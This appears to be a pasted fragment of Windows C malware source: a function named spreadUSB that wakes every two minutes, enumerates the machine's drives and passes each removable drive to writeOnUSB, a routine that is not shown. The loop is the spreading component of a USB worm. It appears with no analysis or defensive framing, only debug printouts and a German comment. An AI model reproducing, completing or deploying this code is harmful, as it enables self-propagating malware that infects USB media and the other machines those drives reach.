rendered paste bodyDWORD WINAPI spreadUSB(){
while(1){
Sleep(120000);
printf("Starting scan\r\n");
char chckDrv[1024];
if((GetLogicalDriveStrings(sizeof(chckDrv), chckDrv)) != 0){
int i = 0;
char word[1024];
int j = 0;
for(i = 0; i < 1024; i++){
if(chckDrv[i] != '\0'){
word[j] = chckDrv[i];
j++;
}else{
word[j] = '\0';
j = 0;
printf("word: %s\r\n", word);
//if(GetDriveType(word) == DRIVE_REMOVABLE || GetDriveType(word) == DRIVE_CDROM){
if(GetDriveType(word) == DRIVE_REMOVABLE){
writeOnUSB(word);
}
// Wenn keine Laufwerde mehr folgen finden wir '\0\0'
if(chckDrv[i] == '\0' && chckDrv[i+1] == '\0')
i = 1024;
}
}
}
printf("finished scan\r\n");
}
}